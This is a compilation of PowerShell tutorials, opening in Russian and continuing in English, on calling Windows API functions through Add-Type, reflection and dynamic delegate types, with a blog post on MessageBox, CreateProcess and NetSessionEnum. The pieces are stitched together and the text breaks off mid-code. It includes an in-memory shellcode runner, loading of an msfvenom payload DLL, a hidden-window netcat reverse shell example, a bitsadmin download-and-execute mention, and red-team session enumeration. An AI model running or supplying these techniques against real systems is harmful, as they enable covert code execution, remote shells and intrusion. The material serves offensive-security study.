Введение
Подсказка
Документация доступна на русском и английском языках. Чтобы изменить язык, используйте переключатель на верхней панели сайта (слева от поиска).
Этот проект документации основан на серии статей Мэтта Гребера:
- Use PowerShell to Interact with the Windows API: Part 1
- Use PowerShell to Interact with the Windows API: Part 2
- Use PowerShell to Interact with the Windows API: Part 3
Здесь вы найдете инструкции и примеры доступа к Windows API (ранее называлось Win32 API) из сценариев на PowerShell. Рассматриваются три альтернативных способов вызова функции CopyFile и демонстрируется создание модуля PowerShell, предоставляющего командлет Copy-RawItem
. Этот коммандлет отличается от стандартного Copy-Item тем, что он может обрабатывать специальные пути к объектам устройств. Например, это могут быть пути пути к файлам, сохраненным cлужбой теневого копирования томов:
\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1_
Также демонстрируется обработка ошибок, которые могут быть выданы вызванным методом Windows API.
Совет
Доступ к CopyFile
рассматривается в качестве простого базового примера. Вы можете использовать аналогичный подход для доступа к другим Windows API.
Содержание
- Три способа вызвать метод Windows API
- Использование коммандлета Add-Type для вызова функции Windows API
- Получение приватного .NET метода вызывающего функцию Windows API
- Вызов функции Windows API из динамически определенного метода
- Заключение
Примечание
Некоторые разделы еще не закончены, контент дорабатывается.
Примеры кода
Примеры из этой документации доступны на GitHub: powershell-winapi-tutorial/examples/.
Call WinAPI functions in PowerShell using delegate functions with Add-Type and Reflection types
Simplest Method
$code = @" using System; using System.Runtime.InteropServices; public class User32Interop { [DllImport("user32.dll", CharSet = CharSet.Unicode)] public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); } public class Program { public static void Main() { User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0); } } "@ Add-Type -TypeDefinition $code -Language CSharp [Program]::Main()
Resolve address functions
To perform reflection we first need to obtain GetModuleHandle
and GetProcAdresse
to be able to lookup of Win32 API function addresses.
To retrieve those function we will need to find out if there are included inside the existing loaded Assemblies.
# Retrieve all loaded Assemblies $Assemblies = [AppDomain]::CurrentDomain.GetAssemblies() Iterate over all the Assemblies, to retrieve all the Static and Unsafe Methods $Assemblies | ForEach-Object { $_.GetTypes()| ForEach-Object { $_ | Get-Member -Static| Where-Object { $_.TypeName.Contains('Unsafe') } } 2> $nul l
We want to find where the Assemblies are located, so we will use the statement Location
. Then we will look for all the methods inside the Assembly Microsoft.Win32.UnsafeNativeMethods
TBN: GetModuleHandle
and GetProcAddress
are located in C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll
If we want to use those function we need in a first time get a reference to the .dll file we need the object to have the property GlobalAssemblyCache
set (The Global Assembly Cache is essentially a list of all native and registered assemblies on Windows, which will allow us to filter out non-native assemblies). The second filter is to retrieve the System.dll
.
$systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) $unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods')
To retrieve the method GetModuleHandle
, we can use the method GetMethod(<METHOD_NAME>)
to retrieve it.
$GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle')
Now we can use the Invoke
method of our object $GetModuleHandle
to get a reference of an unmanaged DLL.
Invoke takes two arguments and both are objects:
- The first argument is the object to invoke it on but since we use it on a static method we may set it to «$null».
- The second argument is an array consisting of the arguments for the method we are invoking (GetModuleHandle). Since the Win32 API only takes the name of the DLL as a string we only need to supply that.
$GetModuleHandle.Invoke($null, @("user32.dll"))
However, we want to use the same method to use the function GetProcAddress
, it won’t work due to the fact that our System.dll
object retrieved contains multiple occurences of the method GetProcAddress
. Therefore the internal method GetMethod()
will throw an error "Ambiguous match found."
.
Therefore we will use the method GetMethods()
to get all the available methods and then iterate over them to retrieve only those we want.
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$_}}
If we want to get the GetProcAddress
reference, we will construct an array to store our matching object and use the first entry.
$unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} $GetProcAddress = $tmp[0]
We need to take the first one, because the arguments type of the second one does not match with ours.
Alternatively we can use GetMethod
function to precise the argument types that we want.
$GetProcAddress = $unsafeObj.GetMethod('GetProcAddress', [reflection.bindingflags]'Public,Static', $null, [System.Reflection.CallingConventions]::Any, @([System.IntPtr], [string]), $null);
cf: https://learn.microsoft.com/en-us/dotnet/api/system.type.getmethod?view=net-7.0
Now we have everything to resolve any function address we want.
$user32 = $GetModuleHandle.Invoke($null, @("user32.dll")) $tmp=@() $unsafeObj.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} $GetProcAddress = $tmp[0] $GetProcAddress.Invoke($null, @($user32, "MessageBoxA"))
If we put everything in a function:
function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) }
DelegateType Reflection
To be able to use the function that we have retrieved the address, we need to pair the information about the number of arguments and their associated data types with the resolved function memory address. This is done through DelegateType
.
The DelegateType Reflection consists in manually create an assembly in memory and populate it with content.
The first step is to create a new assembly with the class AssemblyName
and assign it a name.
$MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
Now we want to set permission on our Assembly. We need to set it to executable and to not be saved to the disk. For that the method DefineDynamicAssembly
will be used.
$Domain = [AppDomain]::CurrentDomain $MyAssemblyBuilder = $Domain.DefineDynamicAssembly($MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
Now that everything is set, we can start creating content inside our assembly. First, we will need to create the main building block which is a Module. This can be done through the method DefineDynamicModule
The method need a custom name as the first argument and a boolean indicating if we want to include symbols or not.
$MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
The next step consists by creating a custom type that will become our delegate type. It can be done with the method DefineType
.
The arguments are:
- a custom name
- the attributes of the type
- the type it build on top of
$MyTypeBuilder = $MyModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
Then we will need to set the prototype of our function.
First we need to use the method DefineConstructor
to define a constructor. The method takes three arguments:
- the attributes of the constructor
- calling convention
- the parameter types of the constructor that will become the function prototype
$MyConstructorBuilder = $MyTypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [String], [String], [int]))
Then we need to set some implementation flags with the method SetImplementationFlags
.
$MyConstructorBuilder.SetImplementationFlags('Runtime, Managed')
To be able to call our function, we need to define the Invoke
method in our delegate type. For that the method DefineMethod
allows us to do that.
The method takes four arguments:
- name of the method defined
- method attributes
- return type
- array of argument types
$MyMethodBuilder = $MyTypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', [int], @([IntPtr], [String], [String], [int]))
If we put everything in a function:
function Get-Delegate { Param ( [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types [Parameter(Position = 2)] [Type] $retType = [Void] # Return type ) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('QM', $false). DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') $delegate = $type.CreateType() return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) }
Example with a simple shellcode runner
# Create a Delegate function to be able to call the function that we have the address function Get-Delegate { Param ( [Parameter(Position = 0, Mandatory = $True)] [IntPtr] $funcAddr, # Function address [Parameter(Position = 1, Mandatory = $True)] [Type[]] $argTypes, # array with the argument types [Parameter(Position = 2)] [Type] $retType = [Void] # Return type ) $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('QD')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run). DefineDynamicModule('QM', $false). DefineType('QT', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $type.DefineConstructor('RTSpecialName, HideBySig, Public',[System.Reflection.CallingConventions]::Standard, $argTypes).SetImplementationFlags('Runtime, Managed') $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $retType, $argTypes).SetImplementationFlags('Runtime, Managed') $delegate = $type.CreateType() return [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($funcAddr, $delegate) } # Allow to retrieve function address from a dll function LookupFunc { Param ($moduleName, $functionName) $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp=@() $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}} return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName)) } # Simple Shellcode runner using delegation $VirtualAllocAddr = LookupFunc "Kernel32.dll" "VirtualAlloc" $CreateThreadAddr = LookupFunc "Kernel32.dll" "CreateThread" $WaitForSingleObjectAddr = LookupFunc "Kernel32.dll" "WaitForSingleObject" $VirtualAlloc = Get-Delegate $VirtualAllocAddr @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]) $CreateThread = Get-Delegate $CreateThreadAddr @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $WaitForSingleObject = Get-Delegate $WaitForSingleObjectAddr @([IntPtr], [Int32]) ([Int]) [Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0 ... $mem = $VirtualAlloc.Invoke([IntPtr]::Zero, $buf.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $mem, $buf.Length) $hThread = $CreateThread.Invoke([IntPtr]::Zero, 0, $mem, [IntPtr]::Zero, 0, [IntPtr]::Zero) $WaitForSingleObject.Invoke($hThread, 0xFFFFFFFF)
Tested Example Code
Working Code
- Add-Type code compilation
$code = @" using System; using System.Runtime.InteropServices; public class User32Interop { [DllImport("user32.dll", CharSet = CharSet.Unicode)] public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); } public class Program { public static void Main() { User32Interop.MessageBox(IntPtr.Zero, "Hello, MessageBox!", "MessageBox Example", 0); } } "@ Add-Type -TypeDefinition $code -Language CSharp [Program]::Main()
- Searching Dll and unsafe native function
# Load System.dll $systemdll = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }) # Get the type for Microsoft.Win32.UnsafeNativeMethods $unsafeObj = $systemdll.GetType('Microsoft.Win32.UnsafeNativeMethods') # Get the GetModuleHandle and GetProcAddress methods $GetModuleHandle = $unsafeObj.GetMethod('GetModuleHandle') $GetProcAddress = $unsafeObj.GetMethod('GetProcAddress') # Load user32.dll to obtain the module handle $user32 = "user32.dll" $moduleHandle = $GetModuleHandle.Invoke($null, @($user32)) # Use GetProcAddress to obtain the address of MessageBoxA $functionName = "MessageBoxA" $functionPointer = $GetProcAddress.Invoke($null, @($moduleHandle, $functionName)) # Define the MessageBox parameters $MB_OK = 0x00000000 $MB_ICONINFORMATION = 0x00000040 # Define the MessageBoxA delegate $signature = @" using System; using System.Runtime.InteropServices; public class User32 { [DllImport("$user32", CharSet = CharSet.Unicode)] public static extern int MessageBox(IntPtr hWnd, string text, string caption, uint type); } "@ # Compile the delegate Add-Type -TypeDefinition $signature # Call the MessageBoxA function using the function pointer [User32]::MessageBox([System.IntPtr]::Zero, "Hello, MessageBox!", "MessageBox Example", ($MB_OK -bor $MB_ICONINFORMATION))
- Delegate Type Reflection
# Define a function to look up a function pointer in a DLL function LookupFunc { Param ( $moduleName, $functionName ) # Get the assembly containing Microsoft.Win32.UnsafeNativeMethods from the GAC $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods') $tmp = @() # Find and store the GetProcAddress method from the assembly $assem.GetMethods() | ForEach-Object { if ($_.Name -eq "GetProcAddress") { $tmp += $_ } } # Invoke GetProcAddress to obtain the function pointer return $tmp[0].Invoke( $null, @( ($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName ) ) } # Look up the function pointer for MessageBoxA in user32.dll $MessageBoxA = LookupFunc "user32.dll" "MessageBoxA" # Create a dynamic assembly and delegate type $MyAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $Domain = [AppDomain]::CurrentDomain $MyAssemblyBuilder = $Domain.DefineDynamicAssembly( $MyAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run ) $MyModuleBuilder = $MyAssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $MyTypeBuilder = $MyModuleBuilder.DefineType( 'MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate] ) # Define the constructor for the delegate type $MyConstructorBuilder = $MyTypeBuilder.DefineConstructor( 'RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, @([IntPtr], [String], [String], [int]) ) $MyConstructorBuilder.SetImplementationFlags('Runtime, Managed') # Define the Invoke method for the delegate type $MyMethodBuilder = $MyTypeBuilder.DefineMethod( 'Invoke', 'Public, HideBySig, NewSlot, Virtual', [int], @([IntPtr], [String], [String], [int]) ) $MyMethodBuilder.SetImplementationFlags('Runtime, Managed') # Create the delegate type $MyDelegateType = $MyTypeBuilder.CreateType() # Create a delegate instance using GetDelegateForFunctionPointer $MyFunction = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer( $MessageBoxA, $MyDelegateType ) # Invoke the delegate to call MessageBoxA $MyFunction.Invoke([IntPtr]::Zero, "Hello World", "This is My MessageBox", 0)
Hola, as I’m sure you know by now PowerShell, aka Microsoft’s post-exploitation language, is pretty awesome! Extending PowerShell with C#\.NET means that you can do pretty much anything. Sometimes, native PowerShell functionality is not enough and low-level access to the Windows API is required. One example of this is the NetSessionEnum API which is used by tools such as NetSess and Veil-Powerview to remotely enumerate active sessions on domain machines. In this post we will look at a few examples that will hopefully get you going on scripting together you own Windows API calls!
It should be noted that the examples below are using C# to define the Windows API structs. This is not optimal from an attackers perspective as the C# compilation will write temporary files to disk at runtime. However, using the .NET System.Reflection namespace adds some overhead to what we are trying to achieve. Once the basics have been understood, it is relatively easy to piggyback the great work done by Matt Graeber to get true in-memory residence.
Resources:
+ Pinvoke — here
+ Use PowerShell to Interact with the Windows API: Part 1 — here
+ Use PowerShell to Interact with the Windows API: Part 2 — here
+ Use PowerShell to Interact with the Windows API: Part 3 — here
+ Accessing the Windows API in PowerShell via .NET methods and reflection — here
+ Deep Reflection: Defining Structs and Enums in PowerShell — here
Download:
+ Invoke-CreateProcess.ps1 — here
+ Invoke-NetSessionEnum.ps1 — here
User32 : : MessageBox
Creating a message box is probably one of the most straight forward examples as the API call requires very little input. Make sure to check out the pinvoke entry for MessageBox to get a head-start on the structure definition and the MSDN entry to get a better understanding of the structure parameters.
The C++ function structure from MSDN can be seen below.
int WINAPI MessageBox( _In_opt_ HWND hWnd, _In_opt_ LPCTSTR lpText, _In_opt_ LPCTSTR lpCaption, _In_ UINT uType );
This easily translates to c#, it is almost a literal copy/paste of the example on pinvoke.
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class User32 { [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern bool MessageBox( IntPtr hWnd, /// Parent window handle String text, /// Text message to display String caption, /// Window caption int options); /// MessageBox type } "@ [User32]::MessageBox(0,"Text","Caption",0) |Out-Null
Executing the code above pops the expected message box.
Obviously you can change the parameters you pass to the message box function, for example the message box type.
[User32]::MessageBox(0,"Text","Caption",0x4)
User32 : : CallWindowProc
Let’s try something a bit more complicated, what if we wanted to call an exported function inside a dll. Basically we would need to perform the following steps.
[Kernel32]::LoadLibrary # Load DLL |___[Kernel32]::GetProcAddress # Get function pointer |___[User32]::CallWindowProc # Call function
There is some cheating here, CallWindowProc will only work if the function does not expect any parameters. However for demonstration purposes it suites our needs.
User32.dll contains a function (LockWorkStation) which can be used to lock the user’s desktop. The code to execute that function can be seen below.
function Instantiate-LockDown { Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class Kernel32 { [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] public static extern IntPtr LoadLibrary( [MarshalAs(UnmanagedType.LPStr)]string lpFileName); [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] public static extern IntPtr GetProcAddress( IntPtr hModule, string procName); } public static class User32 { [DllImport("user32.dll")] public static extern IntPtr CallWindowProc( IntPtr wndProc, IntPtr hWnd, int msg, IntPtr wParam, IntPtr lParam); } "@ $LibHandle = [Kernel32]::LoadLibrary("C:\Windows\System32\user32.dll") $FuncHandle = [Kernel32]::GetProcAddress($LibHandle, "LockWorkStation") if ([System.IntPtr]::Size -eq 4) { echo "`nKernel32::LoadLibrary --> 0x$("{0:X8}" -f $LibHandle.ToInt32())" echo "User32::LockWorkStation --> 0x$("{0:X8}" -f $FuncHandle.ToInt32())" } else { echo "`nKernel32::LoadLibrary --> 0x$("{0:X16}" -f $LibHandle.ToInt64())" echo "User32::LockWorkStation --> 0x$("{0:X16}" -f $FuncHandle.ToInt64())" } echo "Locking user session..`n" [User32]::CallWindowProc($FuncHandle, 0, 0, 0, 0) | Out-Null }
Running the script immediately locks the user’s desktop.
After logging back in we can see the output provided by the function.
MSFvenom : : WinExec (..or not)
On the back of the previous example let’s try the same thing with a DLL that was generated by msfvenom.
I haven’t personally had much occasion to use the metasploit DLL payload format as it never seem to do exactly what I need. To edify the situation I had a quick look in IDA which revealed that everything is exposed through DLLMain.
In an pretty humorous twist, further investigation revealed that the DLL is not actually using WinExec! Instead, the DLL sets up a call to CreateProcess.
The call is a bit odd, it looks like CreateProcess is starting «rundll32.exe» in a suspended state (dwCreationFlags = 0x44). I’m not sure why «rundll32.exe» is placed in lpCommandLine as it would normally be in lpApplicationName, regardless it is perfectly valid as lpApplicationName can be NULL in which case the first parameter of lpCommandLine would be treated as the module name.
The shellcode then gets a handle to the process, injects a payload byte array and resumes the thread.
Coming back to our initial goal, executing the payload from PowerShell is pretty straight forward. As everything is in DLLMain we would only need to call LoadLibrary with the appropriate path to the DLL. The one complication is that PowerShell will freeze once we make the LoadLibrary call, to avoid this we can use Start-Job to background the process.
function Instantiate-MSFDLL { $ScriptBlock = { Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; public static class Kernel32 { [DllImport("kernel32.dll", SetLastError=true, CharSet = CharSet.Ansi)] public static extern IntPtr LoadLibrary( [MarshalAs(UnmanagedType.LPStr)]string lpFileName); } "@ [Kernel32]::LoadLibrary("C:\Users\Fubar\Desktop\calc.dll") } Start-Job -Name MSF_Calc -ScriptBlock $ScriptBlock }
Executing the function gives us calc.
Kernel32 : : CreateProcess
So far we have had it pretty easy, all the API calls have been relatively small and uncomplicated. That is not always the case however, a good example is the CreateProcess API call. It happens sometimes that you need to run a command on a remote machine, but … it pops up a console window. I’ve run into this issue a few times and there is not really a straightforward solution (don’t even think of proposing a VBS wrapper). Fortunately, if we go down to the Windows API we find CreateProcess which offers much more fine-grained control over process creation, including the ability to remove the GUI window of console applications. It still dismays me that in PowerShell, the «-WindowStyle Hidden» flag does not somehow hook into CreateProcess to hide the console completely.
Either way, having a function which can take full advantage of CreateProcess would be very useful from time to time. Let’s see if we can make that happen. Remember to consult pinvoke for C# examples.
Resources:
+ CreateProcess — here
+ STARTUPINFO — here
+ PROCESS_INFORMATION — here
+ SECURITY_ATTRIBUTES — here
BOOL WINAPI CreateProcess( _In_opt_ LPCTSTR lpApplicationName, _Inout_opt_ LPTSTR lpCommandLine, _In_opt_ LPSECURITY_ATTRIBUTES lpProcessAttributes, --> SECURITY_ATTRIBUTES Struct _In_opt_ LPSECURITY_ATTRIBUTES lpThreadAttributes, --> SECURITY_ATTRIBUTES Struct _In_ BOOL bInheritHandles, _In_ DWORD dwCreationFlags, _In_opt_ LPVOID lpEnvironment, _In_opt_ LPCTSTR lpCurrentDirectory, _In_ LPSTARTUPINFO lpStartupInfo, --> STARTUPINFO Struct _Out_ LPPROCESS_INFORMATION lpProcessInformation --> PROCESS_INFORMATION Struct );
Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION { public IntPtr hProcess; public IntPtr hThread; public uint dwProcessId; public uint dwThreadId; } [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] public struct STARTUPINFO { public uint cb; public string lpReserved; public string lpDesktop; public string lpTitle; public uint dwX; public uint dwY; public uint dwXSize; public uint dwYSize; public uint dwXCountChars; public uint dwYCountChars; public uint dwFillAttribute; public uint dwFlags; public short wShowWindow; public short cbReserved2; public IntPtr lpReserved2; public IntPtr hStdInput; public IntPtr hStdOutput; public IntPtr hStdError; } [StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES { public int length; public IntPtr lpSecurityDescriptor; public bool bInheritHandle; } public static class Kernel32 { [DllImport("kernel32.dll", SetLastError=true)] public static extern bool CreateProcess( string lpApplicationName, string lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation); } "@ # StartupInfo Struct $StartupInfo = New-Object STARTUPINFO $StartupInfo.dwFlags = 0x00000001 # STARTF_USESHOWWINDOW $StartupInfo.wShowWindow = 0x0000 # SW_HIDE $StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size # ProcessInfo Struct $ProcessInfo = New-Object PROCESS_INFORMATION # SECURITY_ATTRIBUTES Struct (Process & Thread) $SecAttr = New-Object SECURITY_ATTRIBUTES $SecAttr.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SecAttr) # CreateProcess --> lpCurrentDirectory $GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName # Call CreateProcess [Kernel32]::CreateProcess("C:\Windows\System32\cmd.exe", "/c calc.exe", [ref] $SecAttr, [ref] $SecAttr, $false, 0x08000000, [IntPtr]::Zero, $GetCurrentPath, [ref] $StartupInfo, [ref] $ProcessInfo) |out-null
The flags which were set above should create a «cmd.exe» process that has no window, which in turn launches calc. In fact you can confirm cmd has no associated window with process explorer.
Obviously repurposing this code is a bit bothersome so I poured in into a nice function for reuse.
PS C:\Users\Fubar\Desktop> . .\Invoke-CreateProcess.ps1 PS C:\Users\Fubar\Desktop> Get-Help Invoke-CreateProcess -Full NAME Invoke-CreateProcess SYNOPSIS -Binary Full path of the module to be executed. -Args Arguments to pass to the module, e.g. "/c calc.exe". Defaults to $null if not specified. -CreationFlags Process creation flags: 0x00000000 (NONE) 0x00000001 (DEBUG_PROCESS) 0x00000002 (DEBUG_ONLY_THIS_PROCESS) 0x00000004 (CREATE_SUSPENDED) 0x00000008 (DETACHED_PROCESS) 0x00000010 (CREATE_NEW_CONSOLE) 0x00000200 (CREATE_NEW_PROCESS_GROUP) 0x00000400 (CREATE_UNICODE_ENVIRONMENT) 0x00000800 (CREATE_SEPARATE_WOW_VDM) 0x00001000 (CREATE_SHARED_WOW_VDM) 0x00040000 (CREATE_PROTECTED_PROCESS) 0x00080000 (EXTENDED_STARTUPINFO_PRESENT) 0x01000000 (CREATE_BREAKAWAY_FROM_JOB) 0x02000000 (CREATE_PRESERVE_CODE_AUTHZ_LEVEL) 0x04000000 (CREATE_DEFAULT_ERROR_MODE) 0x08000000 (CREATE_NO_WINDOW) -ShowWindow Window display flags: 0x0000 (SW_HIDE) 0x0001 (SW_SHOWNORMAL) 0x0001 (SW_NORMAL) 0x0002 (SW_SHOWMINIMIZED) 0x0003 (SW_SHOWMAXIMIZED) 0x0003 (SW_MAXIMIZE) 0x0004 (SW_SHOWNOACTIVATE) 0x0005 (SW_SHOW) 0x0006 (SW_MINIMIZE) 0x0007 (SW_SHOWMINNOACTIVE) 0x0008 (SW_SHOWNA) 0x0009 (SW_RESTORE) 0x000A (SW_SHOWDEFAULT) 0x000B (SW_FORCEMINIMIZE) 0x000B (SW_MAX) -StartF Bitfield to influence window creation: 0x00000001 (STARTF_USESHOWWINDOW) 0x00000002 (STARTF_USESIZE) 0x00000004 (STARTF_USEPOSITION) 0x00000008 (STARTF_USECOUNTCHARS) 0x00000010 (STARTF_USEFILLATTRIBUTE) 0x00000020 (STARTF_RUNFULLSCREEN) 0x00000040 (STARTF_FORCEONFEEDBACK) 0x00000080 (STARTF_FORCEOFFFEEDBACK) 0x00000100 (STARTF_USESTDHANDLES) SYNTAX Invoke-CreateProcess [-Binary] <String> [[-Args] <String>] [-CreationFlags] <Int32> [-ShowWindow] <Int32> [-StartF] <Int32> [<CommonParameters>] DESCRIPTION Author: Ruben Boonen (@FuzzySec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None PARAMETERS -Binary <String> Required? true Position? 1 Default value Accept pipeline input? false Accept wildcard characters? -Args <String> Required? false Position? 2 Default value Accept pipeline input? false Accept wildcard characters? -CreationFlags <Int32> Required? true Position? 3 Default value Accept pipeline input? false Accept wildcard characters? -ShowWindow <Int32> Required? true Position? 4 Default value Accept pipeline input? false Accept wildcard characters? -StartF <Int32> Required? true Position? 5 Default value Accept pipeline input? false Accept wildcard characters? <CommonParameters> This cmdlet supports the common parameters: Verbose, Debug, ErrorAction, ErrorVariable, WarningAction, WarningVariable, OutBuffer and OutVariable. For more information, type, "get-help about_commonparameters". INPUTS OUTPUTS -------------------------- EXAMPLE 1 -------------------------- Start calc with NONE/SW_SHOWNORMAL/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Windows\System32\calc.exe -CreationFlags 0x0 -ShowWindow 0x1 -StartF 0x1 -------------------------- EXAMPLE 2 -------------------------- Start nc reverse shell with CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW C:\PS> Invoke-CreateProcess -Binary C:\Some\Path\nc.exe -Args "-nv 127.0.0.1 9988 -e C:\Windows\System32\cmd.exe" -CreationFlags 0x8000000 -ShowWindow 0x0 -StartF 0x1
NONE/SW_NORMAL/STARTF_USESHOWWINDOW
Here we are just launching plain calc without any fluff.
CREATE_NEW_CONSOLE/SW_NORMAL/STARTF_USESHOWWINDOW
Here cmd is launched in a new console and is displayed normally.
CREATE_NO_WINDOW/SW_HIDE/STARTF_USESHOWWINDOW
Here cmd is being called with no window, which in turn executes a bitsadmin command to grab and execute a binary from the greyhathacker domain.
Netapi32 : : NetSessionEnum
For our final example we will have a look at the NetSessionEnum API. This is a great little API gem, especially when it comes to redteaming, it allows a domain user to enumerate authenticated sessions on domain-joined machines and it does not require Administrator privileges. As I mentioned in the introduction, there are already great tools that leverage this, most notably NetSess and Veil-Powerview. The script below is very similar to «Get-NetSessions» in powerview except that it is not using reflection.
function Invoke-NetSessionEnum { <# .SYNOPSIS Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines. .DESCRIPTION Author: Ruben Boonen (@FuzzySec) License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None .EXAMPLE C:\PS> Invoke-NetSessionEnum -HostName SomeHostName #> param ( [Parameter(Mandatory = $True)] [string]$HostName ) Add-Type -TypeDefinition @" using System; using System.Diagnostics; using System.Runtime.InteropServices; [StructLayout(LayoutKind.Sequential)] public struct SESSION_INFO_10 { [MarshalAs(UnmanagedType.LPWStr)]public string OriginatingHost; [MarshalAs(UnmanagedType.LPWStr)]public string DomainUser; public uint SessionTime; public uint IdleTime; } public static class Netapi32 { [DllImport("Netapi32.dll", SetLastError=true)] public static extern int NetSessionEnum( [In,MarshalAs(UnmanagedType.LPWStr)] string ServerName, [In,MarshalAs(UnmanagedType.LPWStr)] string UncClientName, [In,MarshalAs(UnmanagedType.LPWStr)] string UserName, Int32 Level, out IntPtr bufptr, int prefmaxlen, ref Int32 entriesread, ref Int32 totalentries, ref Int32 resume_handle); [DllImport("Netapi32.dll", SetLastError=true)] public static extern int NetApiBufferFree( IntPtr Buffer); } "@ # Create SessionInfo10 Struct $SessionInfo10 = New-Object SESSION_INFO_10 $SessionInfo10StructSize = [System.Runtime.InteropServices.Marshal]::SizeOf($SessionInfo10) # Grab size to loop bufptr $SessionInfo10 = $SessionInfo10.GetType() # Hacky, but we need this ;)) # NetSessionEnum params $OutBuffPtr = [IntPtr]::Zero # Struct output buffer $EntriesRead = $TotalEntries = $ResumeHandle = 0 # Counters & ResumeHandle $CallResult = [Netapi32]::NetSessionEnum($HostName, "", "", 10, [ref]$OutBuffPtr, -1, [ref]$EntriesRead, 